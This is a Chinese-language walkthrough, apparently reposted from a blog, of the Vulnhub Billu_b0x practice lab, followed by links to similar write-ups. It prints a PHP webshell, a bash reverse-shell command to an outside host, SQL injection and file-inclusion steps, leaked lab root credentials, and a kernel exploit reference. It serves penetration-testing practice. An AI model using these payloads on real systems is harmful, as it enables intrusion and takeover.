Vulnhub靶场渗透练习(二) Billu_b0x

2024-05-14 18:49:23

运行虚拟机直接上nmap扫描获取靶场ip

nmap 192.168.18.*

开放端口

TCP 22 SSH OpenSSH 5.9p1

TCP 80 HTTP Apache httpd 2.2.22

192.168.18.143 打开页面爆破路径得到

test.php、add.php、in.php、c.php、index.php、show.php等猜测c.php 可以有一句话在爆破一句话

一次打开发现 test.php

要一个file 猜测可能是文件包含输入

成功下载文件

in.php 是phpinfo 文件

ctril+f 搜索 SCRIPT_FILENAME 得到跟路径

把刚刚暴露的文件依次下载发现 c.php 里面有连接mysql 的账号密码在phpmyadmin 下可能存在默认配置文件

用户名：billu密码：b0x_billu数据库名：ica_lab登录

在尝试读取phpmyadmin的默认配置文件 file=/var/www/phpmy/config.inc.php 得到mysql root 的账号密码

root密码：roottoor 既然已经获取了他的22端口开着可以尝试登录

登录成功 root权限

这里我也可以看到原先主页的sql 注入提示下载源码

对单引号做了转义这样我想起来一个ctf 题也是对单引号进行转义直接利用在单引号前面加个反斜杠对反斜杠进行转义构建slq注入语句

成功注入登录成功

进去查看页面发现 panel.php 利用任意下载漏洞下载在前面源码中也有包含 panel.php 文件的代码

代码审计发现文件包含上传一张图片马让后包含

利用之前扫描出来的路径查看 /uploaded_images/

让后直接包含

这里可以在马里写一个get 请求反弹shell

cmd=echo "bash -i >& /dev/tcp/192.168.64.1/4444 0>&1" | bash cmd 后门的命令需要url 编码

<?php system($_GET['cmd']); ?> 利用 system 函数执行系统命令

这里也可以利用菜刀或者蚁剑连接打开蚁剑

连接

打开虚拟终端输入 u'na'me -a ‘不影响命令读取

(www-data:/var/www) $ u'na'me -a

Linux indishell 3.13.0-32-generic #57~precise1-Ubuntu SMP Tue Jul 15 03:50:54 UTC 2014 i686 i686 i386 GNU/Linux

可以利用linux 内核提权

https://www.exploit-db.com/exploits/37292

Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation

差不多两种提权思路

转载于:https://www.cnblogs.com/feizianquan/p/11147355.html

Vulnhub靶场渗透练习(二) Billu_b0x相关推荐

Vulnhub靶场渗透测试系列bulldog(命令注入和sudo提权)
Vulnhub靶场渗透测试系列bulldog(命令注入和sudo提权) 靶机地址:https://www.vulnhub.com/entry/bulldog-1%2C211/ 下载将其导入VMware ...
Vulnhub靶场渗透测试系列DC-7(跳出框框打开脑洞 drush更改drupal的admin账户密码)
Vulnhub靶场渗透测试系列DC-7(跳出框框打开脑洞 drush更改drupal的admin账户密码) 靶机下载地址:https://www.vulnhub.com/entry/dc-7,356/ ...
Vulnhub靶场渗透测试系列DC-2(wpscan使用和git提权)
Vulnhub靶场渗透测试系列DC-2(wpscan使用和git提权) 靶机地址:https://www.five86.com/dc-2.html 下载靶机将其导入到VMware,然后设置网络模式为N ...
Vulnhub靶场渗透-CH4INRULZ_v1.0.1
前言靶机ip(192.168.110.135) 攻击机ip(192.168.110.127) 网络NAT模式直接开始信息收集吃了上次的亏,这次就比较详细的扫了一下端口发现 ftp服务的2.3 ...
CTF综合靶场渗透系列-Billu_b0x
Billu_b0x 文章目录 Billu_b0x 前言目标运行环境信息收集漏洞挖掘测试首页SQL注入利用文件包含漏洞获取php源码.passwd文件通过得到的mysql密码登录phpmy ...
【甄选靶场】Vulnhub百个项目渗透——项目二十四：MINU-1（WAF绕过，JWT爆破）
Vulnhub百个项目渗透 Vulnhub百个项目渗透--项目二十四:MINU-1(WAF绕过,JWT爆破) 靶场地址
【甄选靶场】Vulnhub百个项目渗透——项目二十七：Pinkys-Palace-2（LFI，端口敲震，ssh爆破，64位缓冲区溢出）
Vulnhub百个项目渗透 Vulnhub百个项目渗透--项目二十七:Pinkys-Palace-2(LFI,端口敲震,ssh爆破,64位缓冲区溢出) 靶场地址
【甄选靶场】Vulnhub百个项目渗透——项目二十一HACKLAB_VULNIX（NFS挂载，ssh毒化）
Vulnhub百个项目渗透 Vulnhub百个项目渗透--项目二十一:HACKLAB_VULNIX(NFS挂载,ssh毒化) 靶场地址
vulnhub靶场——BREACH: 1 渗透记录
BREACH: 1 vulnhub靶场--BREACH: 1 渗透记录 BREACH: 1 一.信息搜集二.网站渗透 1.流量包 2.tomcat 三.提权反弹root的shell BREACH: ...

最新文章

热门文章